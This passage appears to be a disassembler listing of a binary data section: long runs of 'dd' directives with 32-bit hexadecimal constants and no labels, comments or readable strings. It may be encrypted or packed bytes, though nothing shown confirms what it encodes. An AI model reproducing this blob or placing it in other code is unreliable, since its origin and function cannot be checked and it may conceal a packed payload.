0DD7C98B0h, 543F122Dh, 0B08A0CEh dd 2368595Dh, 2C8E31F7h, 0EE24E549h, 82BE9ABEh, 0A45BDFF7h dd 0EEC4CE93h, 1E050C34h, 77AF9EA8h, 95F9B551h, 3FF0FAEDh dd 73876064h, 0A491ABBh, 0BBA1574Eh, 4FE3DB30h, 6620FE9Bh dd 5EC0714Bh, 21D8800Bh, 56023D43h, 663F7768h, 8663C10Ch dd 0BA883292h, 0C281C364h, 5E01363Ah, 910E6259h, 0A22827A7h dd 7F564E9Fh, 0A4C11A4Eh, 6D46CAAh, 38C0AD3Bh, 0D866DA33h dd 9EE91379h, 163EA2A5h, 15B874E0h, 0A8BB10A1h, 719F4CE3h dd 66E96106h, 0F4B900A0h, 0C0C94A5Fh, 4F6493B9h, 7D683502h dd 506DE73Bh, 3E7600DDh, 0D3011220h, 7E26E951h, 0EB23A23h dd 0B02B6877h, 3B5FEEAh, 43C5808Fh, 0CDA9DDF6h, 380BBDFEh dd 59E80DC0h, 7FC234h, 285EC3E9h, 442FE9F3h, 1CF4983h dd 9DE24770h, 0B91206E6h, 420F5D5Ah, 0CB9C2FF5h, 91CF093Ch dd 0BCAB13Fh, 3742FF02h, 0C081CAFCh, 0D36807E3h, 0A43B36Fh dd 0EFC6B151h, 0C107D810h, 955003EBh, 2FD5B1D3h, 0BC50CFCFh dd 2F058194h, 0F44C14ACh, 1F1EEA4Bh, 4A0927DFh, 3A08FF3Eh dd 13252607h, 0F03158BDh, 1995C887h, 0E57F9F20h, 878C048Fh dd 0D5F8A2ABh, 0A043C67Dh, 5A6F38EBh, 0FBA2C42Dh, 0D0D08812h dd 2DF329AFh, 16FE5A3Ch, 28330352h, 31521757h, 56EB63D8h dd 255D1FF1h, 6E36211Dh, 9E689604h, 55C54FA8h, 6588BF52h dd 446E9D58h, 0D2346C16h, 6E468805h, 2E990B95h, 182EEFF1h dd 0BF57618Bh, 0E46C6005h, 8C808112h, 0A128D93Dh, 9D2B1B80h dd 2E74ED8Bh, 0BFAC412h, 8907041Dh, 2CEE0E4Ah, 4A48BC9Ch dd 3EF4962Fh, 25C15E78h, 0C85C06E5h, 64B04517h, 33AA1677h dd 475B04Dh, 0A5ACC948h, 0BA3834AFh, 0BAD8D7A0h, 1AFBBD8Fh dd 4AA45544h, 869D4DE9h, 930AD26h, 94B06AB4h, 0C22E0337h dd 0AC286C64h, 561D7C2Dh, 18E904BCh, 0BB4FAE39h, 0D89B0959h dd 90B63FA0h, 0E94F5492h, 0D0D6252Dh, 3743B517h, 102305C8h dd 0D87D29FAh, 0BE50567Fh, 98F9F009h, 0E91A5124h, 580B4C9h dd 565D8468h, 52549C4Eh, 5626B1A0h, 0B0B6C497h, 81484025h dd 188CE307h, 5EB211ECh, 0A703747Fh, 89DDC0EAh, 0D162D721h dd 171381D7h, 8E075230h, 0E90B0854h, 0B047DA6Fh, 0EBC9571Fh dd 0C965F667h, 5FFE895Dh, 0A72C0F1h, 90CFB12h, 0B8312496h dd 1C2D17E7h, 0EFF4133Ch, 4F072510h, 0A397ECADh, 0C2051CAAh dd 51B208Bh, 7122D36h, 0DD87E472h, 6893D8F3h, 0E98745BBh dd 0EBB0BB52h, 14F59574h, 9E289036h, 5366E058h, 0F625F788h dd 0D8C877D7h, 5F97B7A7h, 5C5D9832h, 5305C273h, 31036E0Ah dd 0A579B110h, 1F134D0h, 0A8252591h, 5E65C5F0h, 0D5B505D8h dd 0E96A6331h, 8EE9E08Eh, 0D6689F7Ch, 411F29C3h, 98161F6Ch dd 225C1A56h, 0AC71398Eh, 7E2C261Eh, 0DE404801h, 0B5D4ACB4h dd 84B9A3AFh, 0F112AB20h, 52413068h, 8604B60Eh, 8D3ECDEh dd 16DB4AE9h, 6B7EDD9Fh, 76681B42h, 0C0997765h, 3C6AF41Ah dd 4484E910h, 43945F2Fh, 0D78B5ABCh, 0D501157h, 0CBFEB754h dd 0B14C83Ch, 4F960BCh, 0C0C777E9h, 7AA5E986h, 37C2075Dh dd 60282B34h, 0A276DBE2h, 0CA06737Ch, 75085DD0h, 80300B24h dd 240088F7h, 3F7A4E09h, 7C9652B0h, 0BCDFC2Dh, 4CDE9F1Fh dd 5464F182h, 0F4D98068h, 0A03BD059h, 2593A1E5h, 2DD87113h dd 5FB05120h, 24A4B629h, 58E47150h, 0ED46F18Bh, 0E86E2985h dd 44AF92C5h, 3556905h, 9CD2F792h, 0AA3418BFh, 0FA0511FEh dd 0A6BFE954h, 0CD5BC9FEh, 95F83EF1h, 5D4C9420h, 0BF4C12AFh dd 411031ABh, 82384433h, 1F0E415h, 568BB125h, 1C482DB9h dd 2185D9A5h, 0F6561606h, 6A0D05E7h, 0F5EE07FAh, 0C14757F2h dd 704E2120h, 1724DE27h, 0F004322Bh, 0D5C1FE0Eh, 0CC7B1AC4h dd 0D957A48h, 0A93A5F79h, 75E9C4A5h, 62A895D4h, 55FD7A73h dd 8D01E7C7h, 0D33B5991h, 3513768Fh, 29FAD6CFh, 2F68F045h dd 27C6599Fh, 480D0500h, 35FE07C5h, 19CC505Ah, 307941C1h dd 8135F7Ah, 83DA39F8h, 407D3110h, 265DBDB4h, 0EE3E4188h dd 440BBADFh, 5AD62034h, 48EDBE01h, 0F1014EC8h, 28C15A30h dd 0B60BE981h, 88021724h, 2517FF45h, 5E00189Fh, 0D3E8B912h dd 0A1B135E9h, 2F90AC23h, 121DE5Ah, 5FDB4CD4h, 62268931h dd 0EB237627h, 0BC26800h, 0EC902B29h, 332EDB0Bh, 509FA51h dd 0D640CFF7h, 1D8E0E64h, 542DBA17h, 0C06F9360h, 68DBF7D2h dd 0D39D5C73h, 4FC088F2h, 6296572Fh, 4CD8212Eh, 876DCCBh dd 580B4C4Fh, 72E7F559h, 58249A20h, 69E9D151h, 0F5A55620h dd 0A74E2C1Ch, 8D9A6AD2h, 0BB033E59h, 4601A852h, 0D76C55E9h dd 0EBC76020h, 0B03ACh, 0A496D7A1h, 0FC4A38E9h, 0D958C341h dd 0E70D2BEh, 27730BB8h, 2E2293Fh, 0BA5B0804h, 49B2FD44h dd 0D83C3A1Bh, 1BFD5F89h, 9A5F7614h, 2175C780h, 894809BEh dd 0A4221388h, 0DA735627h, 0F7470581h, 0C04FE3C7h, 542AC226h dd 29344B09h, 111A0DFAh, 7D1B8E7Ah, 5228159Ah, 5A4E9FFEh dd 6E5582BEh, 44B2AC68h, 16D32025h, 0CB80121Eh, 6F8506DEh dd 0D9BD48B3h, 24061FEEh, 424E01A9h, 0D65E73D2h, 5DE6662h dd 0F28F8740h, 8A709516h, 59C5C080h, 0E92EB10Bh, 95A8F82Bh dd 24F23BD6h, 0CA009A8h, 82C35B28h, 27F66BEBh, 77655F27h dd 17685360h, 6B99972Dh, 1CEE2881h, 13BFAD66h, 0BCA316C7h dd 18BE3E7Ch, 1E88FC5Ah, 0D9683874h, 0B276137h, 0DFE9AFF7h dd 89C5F903h, 0C349176h, 0E3E06B82h, 7F5509EAh, 0F48B14A3h dd 0F7FF2ED5h, 7E2B9CEFh, 0E5944E5Eh, 32F7B6BFh, 0DF051D70h dd 96D35E4Bh, 0A87E98Ch, 0BD081B2Ch, 5ACA053Eh, 0C5AF36F0h dd 6330FB1Fh, 5BE5C3ADh, 0A3C31B51h, 0D3FFFAB2h, 107B3B4h dd 5A0AB0F7h, 4A4C6068h, 0E34ED8ACh, 473A2F1Ah, 0A426CBC6h dd 89BA84CAh, 0DF4CB2B8h, 60FAE213h, 0B67FEE6Ah, 2DF0D43Ch dd 180A6502h, 0C8D55E42h, 27EDC6F7h, 89F899F1h, 807320h dd 781C1625h, 39ED0544h, 824D5E3Ah, 0BEB33426h, 70C8D521h dd 35583A0Eh, 0D1D32A93h dd 2F95756h, 6488BBEh, 0B5A5562h, 47E2084Ah, 900BEE2Fh dd 7C2734F4h, 6CCA42CEh, 59FC6477h, 0BB032085h, 7FFD2E39h dd 2A43A9D1h, 61455D30h, 0FC637D0Bh, 0BDE89793h, 439A626Ch dd 25FD6825h, 0E4E290C8h, 4C147105h, 2491C046h, 794B4342h dd 0A2C5FBB0h, 0BE396308h, 58178012h, 0A094BC2Dh, 0F7F44EC1h dd 70EE5DC5h, 228F049h, 865B79F7h, 39DFF436h, 0E933F1B0h dd 0D4BF7FB6h, 9DA262C3h, 9CA67B0Dh, 524C1F4Ch, 0BFEEB08Ah dd 2931B109h, 0D29D0720h, 277CDE3h, 2F1885D4h, 0BA910169h dd 73248202h, 7730F4D5h, 0B7D6E264h, 0BE15C5AEh, 55465540h dd 0D2C3C8E9h, 4E6F4483h, 9DC5F452h, 3D610441h, 0D255B86Ah dd 785C29BAh, 0A115E142h, 2CBAECF3h, 5C8A721Ah, 96A643E3h dd 56C78D26h, 12BDC08h, 59FA8B2Dh, 3F18E9F5h, 26E84484h dd 6B653DA8h, 1FEC584Eh, 5E592F10h, 8C16E3FCh, 0B739FB4Dh dd 80136DF8h, 0C878B70Fh, 2D1CE633h, 0D14380C1h, 4F295D04h dd 2F680841h, 0E405F1D4h, 0F02E5F6Dh, 7B163D38h, 88801705h dd 3079F5E5h, 20C50E0h, 0D8BD5962h, 246D087Bh, 7F3D3BF4h dd 0D72DED04h, 0E5C1EF1Ah, 0CE7C4A5Dh, 0CBE1772h, 14A8B9h dd 2D6046ADh, 82BA44E9h, 1970005Fh, 0B5D3803Ch, 0E53C970Fh dd 0E98BBB7Eh, 81356A2Ch, 19EB6846h, 7907E32Fh, 0D520512Ah dd 0AB078D5Ah, 0C020B450h, 60FE05E4h, 68030ACCh, 11B32640h dd 0A9D0AD38h, 3942F7F6h, 0E9C29976h, 2424F60Bh, 2313315Ch dd 97718825h, 0BF29144Bh, 0F232BA17h, 2C57047Fh, 78825B13h dd 30F0007h, 0BBA21F0Bh, 0F198A744h, 74D73139h, 63BDE917h dd 2A7A6D40h, 965B43A5h, 2335E06Bh, 3806B87Ch, 69BE940h dd 5DEB2749h, 9CA377CEh, 5A6CFC95h, 1D262BCh, 1D0785CEh dd 0BE86F7Ah, 54930841h, 0E5DFB83Ch, 5C6D3D9Ch, 40C0EC2Ah dd 0CD251172h, 80C5743Bh, 6FA5492Dh, 6064E9C2h, 9FC7797Fh dd 0B0B22916h, 0A9015707h, 5D5A5834h, 8B02E904h, 30BB31AEh dd 206335E8h, 744B99A2h, 1C3D4789h, 14A6E6D3h, 45E5DE8h dd 77526857h, 0C23EA08Dh, 79DD7C66h, 44556511h, 61F249h dd 0F18047B1h, 0CB282719h, 0C5271EFCh, 1298E84Eh, 0A4B7B8E4h dd 58E5A832h, 615D4B96h, 6797FACh, 85E02044h, 0C1DC2167h dd 81FA1835h, 8B4F1560h, 0A06B9131h, 8B5517Ch, 61C53E80h dd 0AF701013h, 0FC6FA629h, 4C82E473h, 0FCBA00CAh, 7E5BAE52h dd 597D2CACh, 0B80177B4h, 63BE459Bh, 0B5207B48h, 2D55F835h dd 28C3327Bh, 0CC03062Ch, 10630Bh, 6F07C620h, 945B5AA6h dd 0FE081258h, 0F28980E3h, 0BD02FB58h, 31167932h, 9DDB6195h dd 0BF239D7Eh, 7ED1120Dh, 47E8A644h, 0AC2EFB99h, 0A3BA00D7h dd 0C13D7C0Bh, 0FC045BE2h, 0AB05E53h, 684C280Fh, 0F37B5A82h dd 0E0D39CC0h, 0A1E5E2ACh, 38BE2E8Ch, 1148ED8Bh, 0A4E68FC2h dd 0C0842B23h, 0C8B96BEh, 0B9685D0Bh, 26A87720h, 0F4923D08h dd 432FE73h, 0EDE7C55h, 9A272EBBh, 58C2A36Bh, 81FA891Dh dd 88F79EDh, 5D164B42h, 9858339h, 0FA83D2E9h, 1035F83Ch dd 25779B48h, 760B1807h, 868BDD60h, 0CA73AE43h, 1A17F809h dd 9940574Ch, 2201A806h, 0E9DE21CEh, 0BC6BDA9Ch, 5EE9B83Ch dd 2D51011Dh, 60C91689h, 2EF8F83Fh, 0EFB16E64h, 5A6F90FAh dd 2B70FA68h, 0C6447EBFh, 50580E8Bh, 0FC20B4h, 8D11860Dh dd 4E1C2573h, 5C26852Fh, 42078280h, 697F09A1h, 0AF2BE9E7h dd 0FDF9083Dh, 5E25BA2Eh, 9725F7EFh, 0B6105BE1h, 256E7805h dd 0A409064Fh, 62C25375h, 0C6FF11E9h, 391CC1A0h, 2F2DCC30h dd 4DE45126h, 0A84A7912h, 0F5A95A78h, 26C5A24Bh, 65A5B6EEh dd 6888B15Ah, 5EAC2FEAh, 0AEA7BAF5h, 4B14D805h, 0DC12C302h dd 5BF0D5Bh, 0EE5BDEE6h, 4E5FF7E4h, 6A45AA89h, 0A4AA4A23h dd 2D5ACA3Bh, 40EBC7F4h, 0FAB7056Fh, 0F56FEB95h, 9C46209Fh dd 0C2C33E60h, 7B657282h, 5FAD285Dh, 1742F851h, 0FE9664B1h dd 5DF02405h, 0CF0472AEh, 91CD3D5h, 717DB0D4h, 479D42A5h dd 0F6AA8904h, 0A36A600Eh, 953D4255h, 820DA5Ch, 5896D9Ch dd 404BA0F3h, 5E328121h, 0BE1CD45Dh, 167838EDh, 0CE1779Fh dd 0EFDF9250h, 0D9FB330Fh, 587A6BABh, 19799F7Bh, 13AEE163h dd 0B64EE063h, 0C298C9D4h, 9EF45738h, 0E9A72959h, 9CD92E56h dd 0B193D453h, 0F7C229E2h, 389C6DE6h, 7ED5197h, 805352C5h dd 32446E59h, 0C9370B90h, 2BB41A99h, 0AAF563FCh, 0B95FBECBh dd 0ADF24EA0h, 9ABACAD8h, 134B5D02h, 4A3454E9h, 0BFE2612Bh dd 0C162DCC2h, 3FFC63E9h, 4B729BD8h, 5EA62349h, 2E8FA7C9h dd 0EA3D4D8Ch, 0B1724A99h, 20F3CDA4h, 37BEC33Ah, 56BCE98Fh dd 688202F2h, 0B8CC532Dh, 5BC4234Bh, 57C37437h, 0EF19029Bh dd 34C818F7h, 0AA0F08D7h, 69B27E03h, 5DF1F807h, 9054FE7Bh dd 372C0165h, 73E95FE6h, 0BDD87E14h, 4749CECh, 835E5456h dd 0D8E003DCh, 0D314F723h, 1087E3C1h, 501DF249h, 7DCCCB59h dd 5FE9BCF4h, 0D0BE6F1h, 4B845283h, 0EEF6C5D9h, 444EE9CEh dd 14951215h, 57B11800h, 1F94C533h, 0CE3F6904h, 0C97FD0F7h dd 18FFA176h, 5E1BEE4Dh, 174C041Eh, 29F7EA68h, 4E20C648h dd 3E522C48h, 6816F4C8h, 0A0317C35h, 17F0DAB2h, 2CD03A28h dd 0F0925948h, 0C32C6806h, 0ACC5B710h, 1B7838B1h, 3A458FF1h dd 4FF69B90h, 0D23C50E2h, 4FFEE0DAh, 32DFBC6Dh, 80020605h dd 0F0F376D9h, 0CB012573h, 126C5359h, 0E903098Fh, 0DDC8EBBAh dd 323B1EA8h, 69C70576h, 12FABB66h, 5B3BBCC9h, 546038AFh dd 0E91384E5h, 0DEA4192Ch, 0E64C05DBh, 0FBB46875h, 0C9BE1530h dd 1C1A715Ah, 253697E9h, 89FDED77h, 61425EE9h, 0BC863B84h dd 44994C3Dh, 0C90F818Bh, 302355BFh, 0D08A0300h, 0E9CB892Bh dd 81173EEDh, 1519DFFBh, 4C39002h, 3094B450h, 0C3C984FAh dd 451125E9h, 0C6001EFh, 3D1F2916h, 2AD45AB7h, 5D4BEB3h dd 4C7F0568h, 0B724C238h, 51C5D457h, 4EB3D5Ch, 17030D97h dd 0C02FD7C9h, 0F51496C8h, 250448E4h, 7BC7FC9h, 471870F8h dd 5A5950ECh, 1B34F7A0h, 0D6676A2Fh, 554303C5h, 0A8D9BB68h dd 0E25B6144h, 8007DDD4h, 6A8516E2h, 5BF78BB0h, 1FB8F2D1h dd 0C39F07E1h, 440124EFh, 0D4B69710h, 45B2B64Bh, 0AA0668C5h dd 3D875E60h, 0E96C19BAh, 0D8591B0Eh, 69965A7Ch, 0A5F464EFh dd 0B56CBA88h, 0AFF3409Bh, 8FC4D95h, 0FDD07E99h, 4FBD4C8Bh dd 82A3B977h, 574B39E9h, 92BE2E45h, 2850E366h, 413B05E3h dd 32BC7AABh, 960B5B48h, 0C76DD4Ch, 0EA295B04h, 0D73DCABAh dd 68BB20EBh, 0F1933DEBh, 659B2738h, 8DA43F77h, 0EC889497h dd 13ED2915h, 96729D96h, 53BB6808h, 4122ABDAh, 7890A9BDh dd 1C5D9736h, 80681694h, 0CF67B84Ah, 314C50EDh, 10CF5626h dd 0F72F7685h, 62B0DD14h, 0C0564FE9h, 0D5F71852h, 59856804h dd 2B816376h, 203EAB30h, 2D02405Ch, 8B3780CCh, 7AED809h dd 0E66CEEEDh, 0BC236F22h, 0ABE5B1CEh, 68ADF884h, 0EBAEFA9Fh dd 8CD025B3h, 0FE7B9695h, 1EA5E559h, 2D091EFFh, 0A9DC2D59h dd 25984B43h, 0DAD2BEEFh, 0B0742920h, 0B68640F7h, 0F6807D0Eh dd 5AF405A7h, 8D2316FBh, 517EA686h, 96BEC008h, 5EB804CBh dd 96CC129h, 2BC2C580h, 491336B8h, 4E36A945h, 0FA5FF5F8h dd 0C72B5A7Dh, 5640050Bh, 833324B1h, 14010D90h, 0AD0FD3BEh dd 41FC8119h, 0F8B65A03h dd 6E900071h, 61E96485h, 65109D31h, 531FE589h, 5A6D81BEh dd 98017630h, 5FA0BD04h, 0DDC1D9F5h, 39A0E65Eh, 98654E6Eh dd 4B4E9E5Dh, 0B94A31F6h, 0CE23D31Fh, 2E3ECC3h, 0F1D7969Fh dd 39BF2EF4h, 0E90789D4h, 1071D856h, 65496668h, 415F94B0h dd 0C6699649h, 0F0842DCEh, 36C1F713h, 0E13B898Ah, 2FF37941h dd 2680945Fh, 8A3EB01h, 0B9049219h, 0A5C5573Bh, 0AC525FEBh dd 2574B0Bh, 69D77A4Eh, 5FB8B256h, 0C180D901h, 0F1C05BA2h dd 2E1CC06h, 0BB3CF1F4h, 64659851h, 9336B5D7h, 801F0CD1h dd 0CC00BF1Ah, 810E4107h, 4C2715E7h, 31178DF8h, 0FDBFF65h dd 3FD88E10h, 756E2780h, 0F4ACAE63h, 0C169076Ah, 6CE18543h dd 444030BBh, 2778AC32h, 19BD9BDh, 0C36F91C5h, 6A803B51h dd 9DEC26D9h, 2FD3F88h, 38777EC9h, 0A326E0F5h, 21D9176Ch dd 0E7D48109h, 91F13E08h, 2B4A98FFh, 5AD8987Ch, 0D985B5CCh dd 0AC4B7A40h, 2A3657E3h, 0CE38E93Ah, 2AE6474h, 780712A5h dd 0D0D84155h, 0E0260662h, 0A35B0963h, 55740830h, 0AB05080h dd 0FED0F683h, 7C1A09D4h, 8F4F2756h, 54814BF1h, 28156A4Eh dd 424F2DCDh, 39E492D8h, 263EE4B7h, 40319BD5h, 73B50F30h dd 0AE0220BFh, 17B1A87Dh, 0EF5EF131h, 98E92428h, 0D94FAA49h dd 0AECA64D4h, 6D68D242h, 89DD710Ch, 707773B2h, 5BF914D9h dd 0AE10EF5Ah, 0D76825EFh, 0B45B6189h, 9FC7702Dh, 59EB6F5Ch dd 196F67DFh, 2500CD64h, 534730FCh, 203E8C1h, 0C8FB3548h dd 0CC766F17h, 85CF010Bh, 0D240805Eh, 22687E2h, 25F2EC42h dd 9152760Bh, 8ECF9495h, 1EE91509h, 264CE2AEh, 12DF312Ch dd 0E21F0956h, 0C6F73162h, 0BCC64FDDh, 52EED39Ah, 75C605A6h dd 0A7A4FC03h, 7CBB67C2h, 3E578331h, 0EBC828C1h, 78095502h dd 0DFA97FE9h, 0DC975D9Ch, 36544B77h, 0CA1EFD25h, 3FAC4EB3h dd 4F5A0E31h, 87EB076Ah, 0F7D621F3h, 1008B4D2h, 5FAE7885h dd 66F4C284h, 545B219Fh, 718A8C09h, 0B8A96F94h, 0F200A55Ah dd 26A71A6Fh, 0BF5AD731h, 0AEEDB3A0h, 66982378h, 6BC0FC71h dd 1D4002F7h, 0C9BB87Ch, 34327FC1h, 0D60C0718h, 4001DFE8h dd 0D4B37D68h, 0B34F006Dh, 0D48B9F7Bh, 0D259A043h, 0C43D6368h dd 13365B35h, 15392C0Ch, 97ACB2D5h, 0A95C9AA2h, 0EBA55C5Fh dd 0F38C1853h, 7F1BD3Eh, 627F64D9h, 17DE5AF7h, 0DFBB47Bh dd 89BF26F6h, 81207488h, 0D3E9CB01h, 379724DDh, 5D970570h dd 5C03723Eh, 0FE58B551h, 0A5A636C5h, 0F8091C81h, 89167340h dd 0B3AB5555h, 0AE6293D5h, 33E91624h, 648AEAC0h, 19F15F7Dh dd 2FDD2CE3h, 902914D8h, 863EC982h, 0AE02AFF1h, 0D8311640h dd 8EA50D9h, 9FE92D5Fh, 0C5DD986Ah, 0D47CAD69h, 76F0D249h dd 41DE95CBh, 5D0801CBh, 0B67AF829h, 3C409753h, 4F34745Eh dd 5F80A15Dh, 57960FBFh, 97ED2320h, 0EBC0E309h, 703E0906h dd 5D54048Eh, 0EA4D6851h, 957A1FD1h, 91CEAD53h, 4660287Bh dd 7F7D1CEEh, 2D51A4FCh, 1EA8257h, 97E60F7h, 0CA79973Eh dd 71AC4EBAh, 419A1C62h, 0BBC2FE03h, 168BE68h, 5A66D708h dd 0BF03C780h, 73691838h, 0F107EEA5h, 83909C9h, 0DD12DE39h dd 5F27BCBEh, 0E887D4BDh, 79D70936h, 3D9EC219h, 0D047AB51h dd 98D10CD4h, 262575Bh, 34C1BDC0h, 51795523h, 4EEE0C98h dd 0B2C314B5h, 545004D5h, 0CB8FE4E9h, 3FE04144h, 0FA938FF3h dd 46970A2Dh, 7F07C930h, 30731ACAh, 0C2660D32h, 3A245B1Fh dd 7800422Fh, 29248239h, 81CD0CAh, 28141C68h, 0CB024E3Bh dd 26DD582Ch, 6E407D68h, 3ED8FA24h, 0E92DF29h, 9682B82Ah dd 8CC653EFh, 6C4A317Fh, 0E91E38EBh, 92EC772Dh, 0B678F7CDh dd 0E03CD120h, 4B0490C7h, 85E8E273h, 22C3F830h, 0C79B02CEh dd 15C6097Ah, 66713060h, 82320B26h, 7B3DC002h, 0F4A15546h dd 0E264E3F1h, 0DF02BF74h, 0F077740Ah, 0F8312D1Ch, 5617DA6Ch dd 0C558C689h, 5F2FE987h, 0F79A8C1Bh, 0F539280Fh, 6A70C449h dd 0E0B7C9ABh, 719D7203h, 10F62CDDh, 13DA4893h, 712C156Ah dd 86EA24E9h, 326C4070h, 1341F91h, 818E6C7h, 241B10Ch dd 685835C0h, 0AAA21DC3h, 9877715Fh, 0B660331Bh, 0BF8549B3h dd 5D6590E5h, 560E7C1h, 2252784Ch, 0DA7A9D0Dh, 7B2B4713h dd 54E99A03h, 0D8A90042h, 54F355Bh, 2D057D1Bh, 5A340EDFh dd 5D712182h, 1880F267h, 4016D143h, 231C1605h, 0E0ED0070h dd 241D2507h, 5237C602h, 0DFAB8DE9h, 0CE034579h, 0E97CF10Dh dd 0AD7F9CC3h, 0C8FF97E7h, 6230E998h, 84CB8166h, 0CFD85827h dd 17D4E303h, 0C3E02673h, 1C0B4A8Fh, 7DD091Ah, 0D5096B86h dd 0E9E155DBh, 4F7B7FF9h, 0FF0951A3h, 0DB2D69D4h, 0BDD42ABBh dd 20E9D5E0h, 0D6BDC64Fh, 0BF830CD6h, 2EB06860h, 0BD0417B2h dd 6B2A1A6Dh, 7321D3C1h, 4817930h, 0DD0E10C5h, 5FA8AE7Ch dd 0E0E90840h, 2DD8B244h, 29D1514Fh, 0AC2CF582h, 5E4C624Ch dd 0FE742546h, 0CC68218Bh, 8184F089h, 24EF2F5Bh, 0B1FCBBFEh dd 0A93B0BC5h, 856216FBh, 0B6600AD1h, 0E6A7F105h, 18E142F5h dd 516ED77h, 68777A4Ch, 0E9A243D1h, 772CD2F8h, 0CA397188h dd 70A92782h, 1E053A2Dh, 2C3392h, 0CA250212h, 5500E20Bh dd 149FF535h, 98C731B2h, 7809514h, 0F1868AB1h, 8D6F635h dd 6DE86BAh, 0C6FF89Dh, 0C5F4E946h, 0D3955C76h, 0FDED1233h dd 3E0C6167h, 0FFE21873h, 49BAB160h, 835099B4h, 1FFB9F86h dd 0A30192BDh, 16963FF3h, 0EC4A528Ah, 7A84A5A8h, 668D98EFh dd 25B53B16h, 56D048E1h, 7B6F1E5Ch, 0D832C62Dh, 40E1A76h dd 0B9D3B35h, 916C7025h, 48920D38h, 0C992F6Ch, 67DE887Ch dd 94D5BB60h, 29C17782h, 0B73ED8F6h, 5EFC9964h, 92531FABh dd 2B2CBADFh, 2C9EFC27h, 8D0316Dh, 0D125EA30h, 126865F3h dd 560730A3h, 8E9255E9h, 0E8EFC02Ch, 24589308h, 2D3E24C2h dd 599FA6DAh, 0F3D7E9A5h, 4B77A84Eh, 2DD0A35Ch, 5DAEC210h dd 8AE32633h, 7D9018C6h, 0F468070Ch, 481A1B11h, 68A0EB0Dh dd 21C421D2h, 54B40629h, 91089582h, 0FE755AE9h, 58C14C4Bh dd 4994C8BDh, 0ADF58B0Fh, 55F3C4E0h, 0B301BF12h, 991F19C0h dd 10AFF16Eh, 6CD9EED1h, 0C6ECAE7Ch, 9655A009h, 68F08519h dd 3BC940BCh, 0FE5D0125h, 60375398h, 56BB6C28h, 40EF3043h dd 0C83E348Dh, 0A10C5A60h, 72D9F38Fh, 2DC99089h, 0B0D1195Fh dd 26F07688h, 814B1EABh, 5E51CDB7h, 0E9906059h, 3EE16A7Bh dd 0B19875AEh, 0B2B97B1Eh, 4E7DFF1h, 5ABD8D02h, 5A0077F2h dd 588A3548h, 102B8537h, 4B48B576h, 2AF6F968h, 0C0038297h dd 0F58002E5h, 0C174D942h, 598BF172h, 823E9CFFh, 68645D80h dd 55B88B25h, 85204B4Eh, 457BC38h, 0FBE32815h, 0E98FE2B2h dd 551A6E09h, 6690565Dh, 53764762h, 0B9BF2634h, 410D0AEAh dd 9FB1A0D2h, 552F35F6h, 94609A9Ah, 92BDD412h, 0A36E410Dh dd 0F3F72103h, 0F65E46B3h, 2FE9BF3Ch, 44EE1DEFh, 0AA4E4EF6h dd 45FE3FF4h, 0B214499h, 327582B0h, 2B8B5783h, 10A1F446h dd 0F6B73E42h, 11B25200h, 3DE9D488h, 3F203341h, 0F45F4EBBh dd 1F6FBEF1h, 80EB370Ch, 98735BF1h, 0A276C7Eh, 84C4F387h dd 0BE21D968h, 2D249E8Eh, 295B8505h, 665FC3DAh, 49975F8Dh dd 0E54478CCh, 0EB2D6498h, 5119F68Ch, 16132EDDh, 5893B3EAh dd 684EC9D1h, 1327CF1Eh, 1228F33h, 0E039D25Dh, 0D10C867Dh dd 919C828h, 61920988h dd 0B921157Ch, 2E3CC008h, 0E2F2273Eh, 55F1E897h, 1699DBDh dd 51E9F801h, 8990C892h, 72B6D49Dh, 64D35657h, 5395B01Dh dd 252EF09Fh, 4CC44A44h, 0D52B9B0Ch, 0B559D005h, 0D6CBBE51h dd 0A16E5A16h, 7F5CC101h, 0F10167DEh, 817DF44h, 688891BFh dd 4A2C3C76h, 0C5438ABAh, 0B404EF83h, 0AC0F84B5h, 1505F9ABh dd 0E765FB6Dh, 0F5AC01EFh, 704807A1h, 0EA4AE9A2h, 44EFBA16h dd 13E839D0h, 0EB819540h, 507B22F7h, 2425B204h, 0CC7694Ah dd 68E13EB3h, 0CFC4D44Eh, 0E4A45BB9h, 3B5A0312h, 0E94EF5B3h dd 0AD2E5004h, 0A0EEC180h, 0BDFC47B3h, 1DD36248h, 572A7400h dd 0BC4603BFh, 4B7C97B4h, 0B6AD3159h, 89A90D8h, 0FCF52927h dd 32FFC91Eh, 0D57A862Bh, 0EEC64F95h, 0CB606212h, 972CA068h dd 0FD9E599Bh, 801ACBE0h, 40063DEBh, 82E2F358h, 78070474h dd 2B32CF6h, 0A3BA842Ah, 0CD891370h, 0E9EBB003h, 0E8ED5FBDh dd 0D3F2B741h, 60E0465Fh, 14871681h, 8B52D67h, 622807BAh dd 2F681240h, 5F985544h, 0E7C7DBC8h, 0AA0392F6h, 3EB4D94Fh dd 0F17D4D29h, 5EA8E82Ah, 89845EE3h, 1A025305h, 0E0762802h dd 7AD7CDE2h, 7ABCB0B8h, 7AB41D12h, 82A9A801h, 8B797408h dd 59C44083h, 0D4B15116h, 0A2002BA1h, 419BE9D2h, 9B093A7Eh dd 421D5666h, 0FA96FA01h, 6F505Ch, 25186544h, 49B2E94Bh dd 0EF132675h, 5C140103h, 2E0859C4h, 0F96E8544h, 2307B80Eh dd 0DA442FBFh, 0A182AC98h, 0B5CFD11h, 0BF019245h, 0A0560C76h dd 2F3E769Dh, 2FF7148Fh, 0EC8B9D8Bh, 9A1AD6BEh, 87D60DD0h dd 259DF608h, 0C40B607Dh, 6C958E6Fh, 7CE9138Dh, 0FEEA9D8h dd 4475C3CDh, 0CD8D22D6h, 0E43AF2E1h, 7F45387Eh, 0F0883740h dd 2CC874FEh, 9DA58C6h, 0A77F71B0h, 8BB08051h, 4E5DE951h dd 10CCA348h, 800E3A94h, 0E166B8C1h, 6C10C3Ch, 0CA307EF1h dd 0F5EAED40h, 5AD42808h, 241264F9h, 4F408201h, 11708FFAh dd 0F09FC025h, 48D69074h, 602001C8h, 3FBEBF00h, 0DF314EE7h dd 9A6905Bh, 29271530h, 0F9705D00h, 649840C2h, 40BCCAEEh dd 0C8BBED96h, 741688C8h, 50FB5F6Dh, 0E90D08B7h, 3E32371Fh dd 175A5F7Ch, 0FC1C4F09h, 5657B226h, 9E39581Ch, 89E1A9B7h dd 84497701h, 0B8ED242Dh, 0A7439000h, 13BC0D2Ah, 322F7FCFh dd 0C6C5490Eh, 7E8ECBFDh, 0C9B77977h, 5564B93Ah, 472DB580h dd 3D6E1304h, 8C80D001h, 0F61751h, 3E3815Eh, 0F7115902h dd 6EDD34Ch, 3D522C44h, 3890090Ch, 0A0776951h, 7AAC71B0h dd 0E6709F86h, 0EBBFF8F2h, 